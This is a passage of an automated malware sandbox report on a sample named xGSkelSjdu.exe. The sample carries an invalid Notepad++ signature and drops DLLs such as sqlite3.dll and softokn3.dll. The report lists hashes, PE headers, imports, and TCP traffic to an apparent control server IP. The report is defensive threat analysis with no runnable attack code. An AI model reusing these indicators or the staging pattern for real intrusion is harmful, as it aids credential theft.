SSDEEP:	49152:6dvFywfzFAF7fg39IwA49Kap9bGt+qoStYnOsbqbeQom7gN7BpDD5SkIN1g5D92+:pptximYfpx8OwNiVG09
MD5:	F67D08E8C02574CBC2F1122C53BFB976
SHA1:	6522992957E7E4D074947CAD63189F308A80FCF2
SHA-256:	C65B7AFB05EE2B2687E6280594019068C3D3829182DFE8604CE4ADF2116CC46E
SHA-512:	2E9D0A211D2B085514F181852FAE6E7CA6AED4D29F396348BEDB59C556E39621810A9A74671566A49E126EC73A60D0F781FA9085EB407DF1EEFD942C18853BE5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....9b.........."!.........&...............................................`............@A.........................!..\...T...@....@..x....................P..h...h...................................................\....!..@....................text...i........................... ..`.rdata..............................@..@.data....N.......*..................@....00cfg.......0......................@..@.rsrc...x....@......................@..@.reloc..h....P......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	254392
Entropy (8bit):	6.686038834818694
Encrypted:	false
SSDEEP:	6144:uI7A8DMhFE2PlKOcpHSvV6x/CHQyhvs277H0mhWGzTdtb2bbIFxW7zrM2ruyYz+h:uI7A8DMhFE2PlbcpSv0x/CJVUmhDzTvS
MD5:	63A1FE06BE877497C4C2017CA0303537
SHA1:	F4F9CBD7066AFB86877BB79C3D23EDDACA15F5A0
SHA-256:	44BE3153C15C2D18F49674A092C135D3482FB89B77A1B2063D01D02985555FE0
SHA-512:	0475EDC7DFBE8660E27D93B7B8B5162043F1F8052AB28C87E23A6DAF9A5CB93D0D7888B6E57504B1F2359B34C487D9F02D85A34A7F17C04188318BB8E89126BF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...'.9b.........."!......................................................................@A........................tv..S....w...................................5..hq..............................................D{...............................text...V........................... ..`.rdata..............................@..@.data................~..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1099223
Entropy (8bit):	6.502588297211263
Encrypted:	false
SSDEEP:	24576:9jxwSkSteuT4P/y7HjsXAGJyGvN5z4Rui2IXLbO:9Vww8HyrjsvyWN54RZH+
MD5:	DBF4F8DCEFB8056DC6BAE4B67FF810CE
SHA1:	BBAC1DD8A07C6069415C04B62747D794736D0689
SHA-256:	47B64311719000FA8C432165A0FDCDFED735D5B54977B052DE915B1CBBBF9D68
SHA-512:	B572CA2F2E4A5CC93E4FCC7A18C0AE6DF888AA4C55BC7DA591E316927A4B5CFCBDDA6E60018950BE891FF3B26F470CC5CCE34D217C2D35074322AB84C32A25D1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".,b.v.........!......................... .....a......................................... .........................n................................... ...;...................................................................................text...............................`.P`.data...\|'... ...(..................@.`..rdata...D...P...F...:..............@.`@.bss....(.............................`..edata..n.......,..................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...............................@.0..reloc...;... ...<..................@.0B/4......8....`......................@.@B/19.....R....p......................@..B/31.....]'...@...(..................@..B/45......-...p......................@..B/57.....\............&..............@.0B/70.....#............2..

C:\Users\user\AppData\LocalLow\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80128
Entropy (8bit):	6.906674531653877
Encrypted:	false
SSDEEP:	1536:l9j/j2886xv555et/MCsjw0BuRK3jteopUecbAdz86B+JfBL+eNv:l9j/j28V55At/zqw+IqLUecbAdz8lJrv
MD5:	1B171F9A428C44ACF85F89989007C328
SHA1:	6F25A874D6CBF8158CB7C491DCEDAA81CEAEBBAE
SHA-256:	9D02E952396BDFF3ABFE5654E07B7A713C84268A225E11ED9A3BF338ED1E424C
SHA-512:	99A06770EEA07F36ABC4AE0CECB2AE13C3ACB362B38B731C3BAED045BF76EA6B61EFE4089CD2EFAC27701E9443388322365BDB039CD388987B24D4A43C973BD1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L....(.[.........."!.........................................................0......t(....@A.............................................................?... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.385205612837297
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	xGSkelSjdu.exe
File size:	318288
MD5:	2b2aeaef6cd3a1df47c938fc4f92a12a
SHA1:	c78c70bbe30545d0cff4cbb6b290f2e5c6f0f5df
SHA256:	4495f2d6e7ca19027474aa32cae50c81ade7b543afb2393b2c81455c4d72a12c
SHA512:	24f60e416a7a99481d6b0eae28ed5eba8273742b6b0977b802f60e3f35ec5eba096588ab25132a76922809fc04d06e981e16e6c07f884e3ad66bc1614ebf99db
SSDEEP:	6144:aN/me8XvaFYs6m0parpdELFcdOcWmwSeQOthAZ:aN/zEvhsx0parpLdsSdOTG
TLSH:	4B64BF223654C136F47AE4354DD9D6B9D3BC747127AF18C7FBC41B5A4702BE1AA3820A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......C.6...X}..X}..X}...}..X}...}1.X}...}..X} C#}..X}...}..X}..Y}`.X}...}..X}...}..X}...}..X}Rich..X}........................PE..L..

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x411a02
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x644987ED [Wed Apr 26 20:22:05 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	3ad594570c1b191fe2c6f5dfa23638cb

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	5/12/2022 5:00:00 PM 5/14/2025 4:59:59 PM
Subject Chain	CN="Notepad++", O="Notepad++", L=Saint Cloud, S=Ile-de-France, C=FR
Version:	3
Thumbprint MD5:	15E2254C8FC88D4A538BA4FB09C0019E
Thumbprint SHA-1:	A731D48CD8E2A99BB91F7C096F40CEDF3A468BA6
Thumbprint SHA-256:	866B46DC0876C0B9C85AFE6569E49352A021C255C8E7680DF6AC1FDBAD677033
Serial:	03AA6492DE9D96A90A4BCA97BEADB44A

Entrypoint Preview

Instruction
call 00007F6D149B4A6Ah
jmp 00007F6D149AD989h
push 0000000Ch
push 00428568h
call 00007F6D149B4869h
mov esi, dword ptr [ebp+08h]
test esi, esi
je 00007F6D149ADB57h
cmp dword ptr [0044DB94h], 03h
jne 00007F6D149ADB25h
push 00000004h
call 00007F6D149B4C54h
pop ecx
and dword ptr [ebp-04h], 00000000h
push esi
call 00007F6D149B4C7Ch
pop ecx
mov dword ptr [ebp-1Ch], eax
test eax, eax
je 00007F6D149ADAEBh
push esi
push eax
call 00007F6D149B4C9Dh
pop ecx
pop ecx
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F6D149ADAF0h
cmp dword ptr [ebp-1Ch], 00000000h
jne 00007F6D149ADB19h
push dword ptr [ebp+08h]
jmp 00007F6D149ADAECh
push 00000004h
call 00007F6D149B4B40h
pop ecx
ret
push esi
push 00000000h
push dword ptr [0044D5ACh]
call dword ptr [00423094h]
test eax, eax
jne 00007F6D149ADAF8h
call 00007F6D149B0846h
mov esi, eax
call dword ptr [00423090h]
push eax
call 00007F6D149B07F6h
mov dword ptr [esi], eax
pop ecx
call 00007F6D149B482Dh
ret
cmp ecx, dword ptr [0044BED0h]
jne 00007F6D149ADAE4h
rep ret
jmp 00007F6D149B56D1h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0044BED0h]
xor eax, ebp
push eax
push dword ptr [ebp+00h]

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[C++] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 SP1 build 30729
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x28c3c	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4f000	0x478	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x4b200	0x2950	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2135d	0x21400	False	0.5234375	data	6.628517552988748	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x64ba	0x6600	False	0.484375	data	5.773062324796916	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2a000	0x24cc8	0x22e00	False	0.6541078629032258	SysEx File - Jomox	7.594576878223591	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4f000	0x478	0x600	False	0.3450520833333333	data	2.6410985506390112	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x4f060	0x414	data	English	United States

Imports

DLL	Import
KERNEL32.dll	GetLocaleInfoW, CreateFileA, FreeConsole, GetConsoleWindow, GetVersion, MultiByteToWideChar, GetModuleHandleA, GetProcAddress, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, Sleep, InterlockedExchange, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, RtlUnwind, RaiseException, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetCommandLineA, GetLastError, HeapFree, GetCPInfo, LCMapStringA, LCMapStringW, GetACP, GetOEMCP, IsValidCodePage, GetModuleHandleW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, GetCurrentThreadId, HeapAlloc, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, GetStartupInfoA, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, VirtualAlloc, HeapReAlloc, GetConsoleCP, GetConsoleMode, FlushFileBuffers, ReadFile, SetFilePointer, CloseHandle, HeapSize, GetUserDefaultLCID, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, GetStringTypeA, GetStringTypeW, LoadLibraryA, InitializeCriticalSectionAndSpinCount, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetStdHandle
USER32.dll	GetClientRect, ReleaseDC, GetDC
GDI32.dll	CreatePen, CreateSolidBrush, SelectObject, Rectangle, DeleteObject
ADVAPI32.dll	LookupPrivilegeValueA, OpenProcessToken, RegQueryValueExA, RegDeleteKeyA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 27, 2023 07:41:53.070471048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.095803976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.095942974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.096262932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.121396065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.245341063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.245426893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.245486975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.245486975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.245718002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.245769024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.245794058 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.245819092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.245820045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.245867968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.245872021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.245907068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.245918989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.245959997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.290328979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.315531969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.362509012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.362588882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.362669945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.362720013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.362745047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.362772942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.362806082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.362806082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.362806082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.362833023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.364000082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.364039898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.364067078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.364088058 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.364123106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.364123106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.364989996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.365022898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.365081072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.365109921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.365787029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.365869045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.375859976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.375900984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.376076937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.376665115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.376694918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.376873016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.378448009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.378498077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.378573895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.378638029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.387948036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.388010979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.388200045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.388756990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.388798952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.389024019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.389024973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.390530109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.390568972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.390660048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.390690088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.392378092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.392440081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.392497063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.392524958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.394119024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.394170046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.394227982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.394259930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.395844936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.395895004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.395951033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.395979881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.397675037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.397747040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.397792101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.397823095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.399471045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.399550915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.399589062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.399672031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.401289940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.401366949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.401402950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.401441097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.402920961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.402973890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.403034925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.403072119 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.404644966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.404678106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.404752016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.404783010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.406465054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.406498909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.406575918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.406604052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.408246040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.408277988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.408351898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.408389091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.409981966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.410032988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.410090923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.410167933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.411657095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.411705971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.411773920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.411808014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.413379908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.413453102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.413503885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.413544893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.415049076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.415108919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.415148020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.415180922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.416766882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.416827917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.416872978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.416901112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.417747021 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.417804003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.417846918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.417887926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.418728113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.418786049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.418848038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.418875933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.419727087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.419825077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.419879913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.419931889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.420686960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.420732021 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.420803070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.420855045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.421636105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.421681881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.421742916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.421776056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.422590017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.422635078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.422698021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.422724962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.423562050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.423585892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.423656940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.423685074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.424525023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.424549103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.424627066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.425538063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.425565004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.425640106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.425695896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.426520109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.426544905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.426601887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.426631927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.427522898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.427558899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.427603006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.427633047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.428479910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.428522110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.428561926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.428591967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.429476023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.429516077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.429547071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.429583073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.430448055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.430490017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.430540085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.430569887 CEST	49697	80	192.168.2.3	85.192.63.15
